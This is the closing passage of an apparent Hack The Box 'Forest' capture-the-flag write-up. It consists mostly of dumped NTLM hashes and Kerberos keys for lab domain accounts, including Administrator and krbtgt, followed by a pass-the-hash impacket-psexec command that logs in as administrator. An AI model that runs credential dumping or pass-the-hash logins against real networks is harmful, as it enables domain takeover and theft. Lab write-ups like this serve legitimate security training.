<span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>\<span class="hljs-selector-tag">sebastien</span><span class="hljs-selector-pseudo">:1145</span><span class="hljs-selector-pseudo">:aad3b435b51404eeaad3b435b51404ee</span><span class="hljs-selector-pseudo">:96246d980e3a8ceacbf9069173fa06fc</span>:::
<span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>\<span class="hljs-selector-tag">lucinda</span><span class="hljs-selector-pseudo">:1146</span><span class="hljs-selector-pseudo">:aad3b435b51404eeaad3b435b51404ee</span><span class="hljs-selector-pseudo">:4c2af4b2cd8a15b1ebd0ef6c58b879c3</span>:::
<span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>\<span class="hljs-selector-tag">svc-alfresco</span><span class="hljs-selector-pseudo">:1147</span><span class="hljs-selector-pseudo">:aad3b435b51404eeaad3b435b51404ee</span><span class="hljs-selector-pseudo">:9248997e4ef68ca2bb47ae4e6f128668</span>:::
<span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>\<span class="hljs-selector-tag">andy</span><span class="hljs-selector-pseudo">:1150</span><span class="hljs-selector-pseudo">:aad3b435b51404eeaad3b435b51404ee</span><span class="hljs-selector-pseudo">:29dfccaf39618ff101de5165b19d524b</span>:::
<span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>\<span class="hljs-selector-tag">mark</span><span class="hljs-selector-pseudo">:1151</span><span class="hljs-selector-pseudo">:aad3b435b51404eeaad3b435b51404ee</span><span class="hljs-selector-pseudo">:9e63ebcb217bf3c6b27056fdcb6150f7</span>:::
<span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>\<span class="hljs-selector-tag">santi</span><span class="hljs-selector-pseudo">:1152</span><span class="hljs-selector-pseudo">:aad3b435b51404eeaad3b435b51404ee</span><span class="hljs-selector-pseudo">:483d4c70248510d8e0acb6066cd89072</span>:::
<span class="hljs-selector-tag">isaiah</span><span class="hljs-selector-pseudo">:10101</span><span class="hljs-selector-pseudo">:aad3b435b51404eeaad3b435b51404ee</span><span class="hljs-selector-pseudo">:f98f0adb285ad180f5905c5e995d2c48</span>:::
<span class="hljs-selector-tag">tom</span><span class="hljs-selector-pseudo">:10102</span><span class="hljs-selector-pseudo">:aad3b435b51404eeaad3b435b51404ee</span><span class="hljs-selector-pseudo">:f98f0adb285ad180f5905c5e995d2c48</span>:::
<span class="hljs-selector-tag">FOREST</span>$<span class="hljs-selector-pseudo">:1000</span><span class="hljs-selector-pseudo">:aad3b435b51404eeaad3b435b51404ee</span><span class="hljs-selector-pseudo">:a6a85c00316282f8e428c91ba3a3d972</span>:::
<span class="hljs-selector-tag">EXCH01</span>$<span class="hljs-selector-pseudo">:1103</span><span class="hljs-selector-pseudo">:aad3b435b51404eeaad3b435b51404ee</span><span class="hljs-selector-pseudo">:050105bb043f5b8ffc3a9fa99b5ef7c1</span>:::
<span class="hljs-selector-attr">[*]</span> <span class="hljs-selector-tag">Kerberos</span> <span class="hljs-selector-tag">keys</span> <span class="hljs-selector-tag">grabbed</span>
<span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>\<span class="hljs-selector-tag">Administrator</span><span class="hljs-selector-pseudo">:aes256-cts-hmac-sha1-96</span><span class="hljs-selector-pseudo">:910e4c922b7516d4a27f05b5ae6a147578564284fff8461a02298ac9263bc913</span>
<span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>\<span class="hljs-selector-tag">Administrator</span><span class="hljs-selector-pseudo">:aes128-cts-hmac-sha1-96</span><span class="hljs-selector-pseudo">:b5880b186249a067a5f6b814a23ed375</span>
<span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>\<span class="hljs-selector-tag">Administrator</span><span class="hljs-selector-pseudo">:des-cbc-md5</span><span class="hljs-selector-pseudo">:c1e049c71f57343b</span>
<span class="hljs-selector-tag">krbtgt</span><span class="hljs-selector-pseudo">:aes256-cts-hmac-sha1-96</span><span class="hljs-selector-pseudo">:9bf3b92c73e03eb58f698484c38039ab818ed76b4b3a0e1863d27a631f89528b</span>
<span class="hljs-selector-tag">krbtgt</span><span class="hljs-selector-pseudo">:aes128-cts-hmac-sha1-96</span><span class="hljs-selector-pseudo">:13a5c6b1d30320624570f65b5f755f58</span>
<span class="hljs-selector-tag">krbtgt</span><span class="hljs-selector-pseudo">:des-cbc-md5</span><span class="hljs-selector-pseudo">:9dd5647a31518ca8</span>
<span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>\<span class="hljs-selector-tag">HealthMailboxc3d7722</span><span class="hljs-selector-pseudo">:aes256-cts-hmac-sha1-96</span><span class="hljs-selector-pseudo">:258c91eed3f684ee002bcad834950f475b5a3f61b7aa8651c9d79911e16cdbd4</span>
<span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>\<span class="hljs-selector-tag">HealthMailboxc3d7722</span><span class="hljs-selector-pseudo">:aes128-cts-hmac-sha1-96</span><span class="hljs-selector-pseudo">:47138a74b2f01f1886617cc53185864e</span>
<span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>\<span class="hljs-selector-tag">HealthMailboxc3d7722</span><span class="hljs-selector-pseudo">:des-cbc-md5</span><span class="hljs-selector-pseudo">:5dea94ef1c15c43e</span>
<span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>\<span class="hljs-selector-tag">HealthMailboxfc9daad</span><span class="hljs-selector-pseudo">:aes256-cts-hmac-sha1-96</span><span class="hljs-selector-pseudo">:6e4efe11b111e368423cba4aaa053a34a14cbf6a716cb89aab9a966d698618bf</span>
<span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>\<span class="hljs-selector-tag">HealthMailboxfc9daad</span><span class="hljs-selector-pseudo">:aes128-cts-hmac-sha1-96</span><span class="hljs-selector-pseudo">:9943475a1fc13e33e9b6cb2eb7158bdd</span>
<span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>\<span class="hljs-selector-tag">HealthMailboxfc9daad</span><span class="hljs-selector-pseudo">:des-cbc-md5</span><span class="hljs-selector-pseudo">:7c8f0b6802e0236e</span>
<span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>\<span class="hljs-selector-tag">HealthMailboxc0a90c9</span><span class="hljs-selector-pseudo">:aes256-cts-hmac-sha1-96</span><span class="hljs-selector-pseudo">:7ff6b5acb576598fc724a561209c0bf541299bac6044ee214c32345e0435225e</span>
<span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>\<span class="hljs-selector-tag">HealthMailboxc0a90c9</span><span class="hljs-selector-pseudo">:aes128-cts-hmac-sha1-96</span><span class="hljs-selector-pseudo">:ba4a1a62fc574d76949a8941075c43ed</span>
<span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>\<span class="hljs-selector-tag">HealthMailboxc0a90c9</span><span class="hljs-selector-pseudo">:des-cbc-md5</span><span class="hljs-selector-pseudo">:0bc8463273fed983</span>
<span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>\<span class="hljs-selector-tag">HealthMailbox670628e</span><span class="hljs-selector-pseudo">:aes256-cts-hmac-sha1-96</span><span class="hljs-selector-pseudo">:a4c5f690603ff75faae7774a7cc99c0518fb5ad4425eebea19501517db4d7a91</span>
<span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>\<span class="hljs-selector-tag">HealthMailbox670628e</span><span class="hljs-selector-pseudo">:aes128-cts-hmac-sha1-96</span><span class="hljs-selector-pseudo">:b723447e34a427833c1a321668c9f53f</span>
<span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>\<span class="hljs-selector-tag">HealthMailbox670628e</span><span class="hljs-selector-pseudo">:des-cbc-md5</span><span class="hljs-selector-pseudo">:9bba8abad9b0d01a</span>
<span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>\<span class="hljs-selector-tag">HealthMailbox968e74d</span><span class="hljs-selector-pseudo">:aes256-cts-hmac-sha1-96</span><span class="hljs-selector-pseudo">:1ea10e3661b3b4390e57de350043a2fe6a55dbe0902b31d2c194d2ceff76c23c</span>
<span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>\<span class="hljs-selector-tag">HealthMailbox968e74d</span><span class="hljs-selector-pseudo">:aes128-cts-hmac-sha1-96</span><span class="hljs-selector-pseudo">:ffe29cd2a68333d29b929e32bf18a8c8</span>
<span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>\<span class="hljs-selector-tag">HealthMailbox968e74d</span><span class="hljs-selector-pseudo">:des-cbc-md5</span><span class="hljs-selector-pseudo">:68d5ae202af71c5d</span>
<span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>\<span class="hljs-selector-tag">HealthMailbox6ded678</span><span class="hljs-selector-pseudo">:aes256-cts-hmac-sha1-96</span><span class="hljs-selector-pseudo">:d1a475c7c77aa589e156bc3d2d92264a255f904d32ebbd79e0aa68608796ab81</span>
<span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>\<span class="hljs-selector-tag">HealthMailbox6ded678</span><span class="hljs-selector-pseudo">:aes128-cts-hmac-sha1-96</span><span class="hljs-selector-pseudo">:bbe21bfc470a82c056b23c4807b54cb6</span>
<span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>\<span class="hljs-selector-tag">HealthMailbox6ded678</span><span class="hljs-selector-pseudo">:des-cbc-md5</span><span class="hljs-selector-pseudo">:cbe9ce9d522c54d5</span>
<span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>\<span class="hljs-selector-tag">HealthMailbox83d6781</span><span class="hljs-selector-pseudo">:aes256-cts-hmac-sha1-96</span><span class="hljs-selector-pseudo">:d8bcd237595b104a41938cb0cdc77fc729477a69e4318b1bd87d99c38c31b88a</span>
<span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>\<span class="hljs-selector-tag">HealthMailbox83d6781</span><span class="hljs-selector-pseudo">:aes128-cts-hmac-sha1-96</span><span class="hljs-selector-pseudo">:76dd3c944b08963e84ac29c95fb182b2</span>
<span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>\<span class="hljs-selector-tag">HealthMailbox83d6781</span><span class="hljs-selector-pseudo">:des-cbc-md5</span><span class="hljs-selector-pseudo">:8f43d073d0e9ec29</span>
<span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>\<span class="hljs-selector-tag">HealthMailboxfd87238</span><span class="hljs-selector-pseudo">:aes256-cts-hmac-sha1-96</span><span class="hljs-selector-pseudo">:9d05d4ed052c5ac8a4de5b34dc63e1659088eaf8c6b1650214a7445eb22b48e7</span>
<span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>\<span class="hljs-selector-tag">HealthMailboxfd87238</span><span class="hljs-selector-pseudo">:aes128-cts-hmac-sha1-96</span><span class="hljs-selector-pseudo">:e507932166ad40c035f01193c8279538</span>
<span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>\<span class="hljs-selector-tag">HealthMailboxfd87238</span><span class="hljs-selector-pseudo">:des-cbc-md5</span><span class="hljs-selector-pseudo">:0bc8abe526753702</span>
<span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>\<span class="hljs-selector-tag">HealthMailboxb01ac64</span><span class="hljs-selector-pseudo">:aes256-cts-hmac-sha1-96</span><span class="hljs-selector-pseudo">:af4bbcd26c2cdd1c6d0c9357361610b79cdcb1f334573ad63b1e3457ddb7d352</span>
<span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>\<span class="hljs-selector-tag">HealthMailboxb01ac64</span><span class="hljs-selector-pseudo">:aes128-cts-hmac-sha1-96</span><span class="hljs-selector-pseudo">:8f9484722653f5f6f88b0703ec09074d</span>
<span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>\<span class="hljs-selector-tag">HealthMailboxb01ac64</span><span class="hljs-selector-pseudo">:des-cbc-md5</span><span class="hljs-selector-pseudo">:97a13b7c7f40f701</span>
<span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>\<span class="hljs-selector-tag">HealthMailbox7108a4e</span><span class="hljs-selector-pseudo">:aes256-cts-hmac-sha1-96</span><span class="hljs-selector-pseudo">:64aeffda174c5dba9a41d465460e2d90aeb9dd2fa511e96b747e9cf9742c75bd</span>
<span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>\<span class="hljs-selector-tag">HealthMailbox7108a4e</span><span class="hljs-selector-pseudo">:aes128-cts-hmac-sha1-96</span><span class="hljs-selector-pseudo">:98a0734ba6ef3e6581907151b96e9f36</span>
<span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>\<span class="hljs-selector-tag">HealthMailbox7108a4e</span><span class="hljs-selector-pseudo">:des-cbc-md5</span><span class="hljs-selector-pseudo">:a7ce0446ce31aefb</span>
<span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>\<span class="hljs-selector-tag">HealthMailbox0659cc1</span><span class="hljs-selector-pseudo">:aes256-cts-hmac-sha1-96</span><span class="hljs-selector-pseudo">:a5a6e4e0ddbc02485d6c83a4fe4de4738409d6a8f9a5d763d69dcef633cbd40c</span>
<span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>\<span class="hljs-selector-tag">HealthMailbox0659cc1</span><span class="hljs-selector-pseudo">:aes128-cts-hmac-sha1-96</span><span class="hljs-selector-pseudo">:8e6977e972dfc154f0ea50e2fd52bfa3</span>
<span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>\<span class="hljs-selector-tag">HealthMailbox0659cc1</span><span class="hljs-selector-pseudo">:des-cbc-md5</span><span class="hljs-selector-pseudo">:e35b497a13628054</span>
<span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>\<span class="hljs-selector-tag">sebastien</span><span class="hljs-selector-pseudo">:aes256-cts-hmac-sha1-96</span><span class="hljs-selector-pseudo">:fa87efc1dcc0204efb0870cf5af01ddbb00aefed27a1bf80464e77566b543161</span>
<span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>\<span class="hljs-selector-tag">sebastien</span><span class="hljs-selector-pseudo">:aes128-cts-hmac-sha1-96</span><span class="hljs-selector-pseudo">:18574c6ae9e20c558821179a107c943a</span>
<span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>\<span class="hljs-selector-tag">sebastien</span><span class="hljs-selector-pseudo">:des-cbc-md5</span><span class="hljs-selector-pseudo">:702a3445e0d65b58</span>
<span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>\<span class="hljs-selector-tag">lucinda</span><span class="hljs-selector-pseudo">:aes256-cts-hmac-sha1-96</span><span class="hljs-selector-pseudo">:acd2f13c2bf8c8fca7bf036e59c1f1fefb6d087dbb97ff0428ab0972011067d5</span>
<span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>\<span class="hljs-selector-tag">lucinda</span><span class="hljs-selector-pseudo">:aes128-cts-hmac-sha1-96</span><span class="hljs-selector-pseudo">:fc50c737058b2dcc4311b245ed0b2fad</span>
<span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>\<span class="hljs-selector-tag">lucinda</span><span class="hljs-selector-pseudo">:des-cbc-md5</span><span class="hljs-selector-pseudo">:a13bb56bd043a2ce</span>
<span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>\<span class="hljs-selector-tag">svc-alfresco</span><span class="hljs-selector-pseudo">:aes256-cts-hmac-sha1-96</span><span class="hljs-selector-pseudo">:46c50e6cc9376c2c1738d342ed813a7ffc4f42817e2e37d7b5bd426726782f32</span>
<span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>\<span class="hljs-selector-tag">svc-alfresco</span><span class="hljs-selector-pseudo">:aes128-cts-hmac-sha1-96</span><span class="hljs-selector-pseudo">:e40b14320b9af95742f9799f45f2f2ea</span>
<span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>\<span class="hljs-selector-tag">svc-alfresco</span><span class="hljs-selector-pseudo">:des-cbc-md5</span><span class="hljs-selector-pseudo">:014ac86d0b98294a</span>
<span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>\<span class="hljs-selector-tag">andy</span><span class="hljs-selector-pseudo">:aes256-cts-hmac-sha1-96</span><span class="hljs-selector-pseudo">:ca2c2bb033cb703182af74e45a1c7780858bcbff1406a6be2de63b01aa3de94f</span>
<span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>\<span class="hljs-selector-tag">andy</span><span class="hljs-selector-pseudo">:aes128-cts-hmac-sha1-96</span><span class="hljs-selector-pseudo">:606007308c9987fb10347729ebe18ff6</span>
<span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>\<span class="hljs-selector-tag">andy</span><span class="hljs-selector-pseudo">:des-cbc-md5</span><span class="hljs-selector-pseudo">:a2ab5eef017fb9da</span>
<span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>\<span class="hljs-selector-tag">mark</span><span class="hljs-selector-pseudo">:aes256-cts-hmac-sha1-96</span><span class="hljs-selector-pseudo">:9d306f169888c71fa26f692a756b4113bf2f0b6c666a99095aa86f7c607345f6</span>
<span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>\<span class="hljs-selector-tag">mark</span><span class="hljs-selector-pseudo">:aes128-cts-hmac-sha1-96</span><span class="hljs-selector-pseudo">:a2883fccedb4cf688c4d6f608ddf0b81</span>
<span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>\<span class="hljs-selector-tag">mark</span><span class="hljs-selector-pseudo">:des-cbc-md5</span><span class="hljs-selector-pseudo">:b5dff1f40b8f3be9</span>
<span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>\<span class="hljs-selector-tag">santi</span><span class="hljs-selector-pseudo">:aes256-cts-hmac-sha1-96</span><span class="hljs-selector-pseudo">:8a0b0b2a61e9189cd97dd1d9042e80abe274814b5ff2f15878afe46234fb1427</span>
<span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>\<span class="hljs-selector-tag">santi</span><span class="hljs-selector-pseudo">:aes128-cts-hmac-sha1-96</span><span class="hljs-selector-pseudo">:cbf9c843a3d9b718952898bdcce60c25</span>
<span class="hljs-selector-tag">htb</span><span class="hljs-selector-class">.local</span>\<span class="hljs-selector-tag">santi</span><span class="hljs-selector-pseudo">:des-cbc-md5</span><span class="hljs-selector-pseudo">:4075ad528ab9e5fd</span>
<span class="hljs-selector-tag">isaiah</span><span class="hljs-selector-pseudo">:aes256-cts-hmac-sha1-96</span><span class="hljs-selector-pseudo">:fe27a28f1d368381cb05735ca623f5627a87e29d15c514f26f09d45e09d150c6</span>
<span class="hljs-selector-tag">isaiah</span><span class="hljs-selector-pseudo">:aes128-cts-hmac-sha1-96</span><span class="hljs-selector-pseudo">:a20cc79e250aa9dbec135b1101ff7335</span>
<span class="hljs-selector-tag">isaiah</span><span class="hljs-selector-pseudo">:des-cbc-md5</span><span class="hljs-selector-pseudo">:3be52332d60701ab</span>
<span class="hljs-selector-tag">tom</span><span class="hljs-selector-pseudo">:aes256-cts-hmac-sha1-96</span><span class="hljs-selector-pseudo">:a1e02e106b8dc618b91024042a6f46f169bec6a45903674c8dff4cbaaeb282ce</span>
<span class="hljs-selector-tag">tom</span><span class="hljs-selector-pseudo">:aes128-cts-hmac-sha1-96</span><span class="hljs-selector-pseudo">:d7786f6e8e8cdfe2b1c69589a466a85f</span>
<span class="hljs-selector-tag">tom</span><span class="hljs-selector-pseudo">:des-cbc-md5</span><span class="hljs-selector-pseudo">:b5cefb890d1a5479</span>
<span class="hljs-selector-tag">FOREST</span>$<span class="hljs-selector-pseudo">:aes256-cts-hmac-sha1-96</span><span class="hljs-selector-pseudo">:74392a75890b18127ad69ab44b43be5601923e556263d3f8ae1a901304c9ccff</span>
<span class="hljs-selector-tag">FOREST</span>$<span class="hljs-selector-pseudo">:aes128-cts-hmac-sha1-96</span><span class="hljs-selector-pseudo">:0f5c4cff806683d822fce654f69a80dc</span>
<span class="hljs-selector-tag">FOREST</span>$<span class="hljs-selector-pseudo">:des-cbc-md5</span><span class="hljs-selector-pseudo">:c8132fbf73c71fa8</span>
<span class="hljs-selector-tag">EXCH01</span>$<span class="hljs-selector-pseudo">:aes256-cts-hmac-sha1-96</span><span class="hljs-selector-pseudo">:1a87f882a1ab851ce15a5e1f48005de99995f2da482837d49f16806099dd85b6</span>
<span class="hljs-selector-tag">EXCH01</span>$<span class="hljs-selector-pseudo">:aes128-cts-hmac-sha1-96</span><span class="hljs-selector-pseudo">:9ceffb340a70b055304c3cd0583edf4e</span>
<span class="hljs-selector-tag">EXCH01</span>$<span class="hljs-selector-pseudo">:des-cbc-md5</span><span class="hljs-selector-pseudo">:8c45f44c16975129</span>
<span class="hljs-selector-attr">[*]</span> <span class="hljs-selector-tag">Cleaning</span> <span class="hljs-selector-tag">up</span>...
</code></pre>
<h3 id="heading-pass-the-hash"><strong>PASS THE HASH</strong></h3>
<p><em>In this attack, an attacker doesn't need to steal or crack a user's plaintext password. Instead, they use the hashed version of the password (the password hash) to authenticate themselves to a system or network</em></p>
<p>Now that we have the domain admin NTML hash we can just login via psexec</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697247823569/687eb07d-4889-418f-8119-2ccf0eee4085.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-css"><span class="hljs-selector-tag">impacket-psexec</span> <span class="hljs-selector-tag">administrator</span><span class="hljs-keyword">@10</span>.129.171.71 -hashes aad3b435b51404eeaad3b435b51404<span class="hljs-attribute">ee:</span><span class="hljs-number">32693</span>b11e6aa90eb43d32c72a07ceea6
</code></pre>
<p>HAPPY HACKING!!!</p>
<p><a target="_blank" href="https://www.buymeacoffee.com/x401a"><img src="https://cdn.buymeacoffee.com/buttons/v2/default-blue.png" alt="Buy Me A Coffee" /></a></p>
]]></content:encoded></item></channel></rss>